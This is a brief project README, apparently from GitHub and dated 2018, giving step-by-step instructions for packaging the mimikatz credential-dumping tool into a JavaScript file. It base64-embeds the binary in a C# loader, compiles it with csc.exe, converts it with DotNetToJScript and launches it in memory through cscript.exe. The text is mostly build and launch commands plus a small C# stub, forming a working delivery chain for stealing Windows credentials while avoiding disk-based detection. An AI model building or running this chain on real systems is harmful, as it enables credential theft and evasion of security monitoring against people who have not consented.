mimikatz 2.1.1 in javascript

October 7, 2018 ยท View on GitHub

It is basically a wrap of the following projects:

INSTRUCTIONS:

  1. Grab the latest release of mimikatz: https://github.com/gentilkiwi/mimikatz/releases

  2. a) Uncomment the building lines from Casey's project in Delivery.Program.Main() (You may want to comment the Exec() line though) b) It is going to produce a file.b64, so copy it's content and replace Delivery.Package.file string by it c) Comment back the lines helping to make file.b64 d) In order to help DotNetToJscript add the following lines to the end of katz.cs:

      public class TestClass
      {
        public TestClass()
        {
          /* Start katz */
          Delivery.Program.Main();
        }
      }
    

    e) Make an .exe : C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /r:System.IO.Compression.dll /unsafe katz.cs

  3. a) Build DotNetToJScript project. Note: You don't need to build 'ExampleAssembly' project b) Create mimikatz.js using DotNetToJScript you just built and katz.exe you built on step 2: C:< path to DotNetToJScript >\DotNetToJScript.exe -o mimikatz.js -ver auto C:< path to katz >\katz.exe

  4. Launch mimikatz in-memory using javascript: cscript.exe .\mimikatz.js

Joel Perron-Langlois (github: https://github.com/pljoel)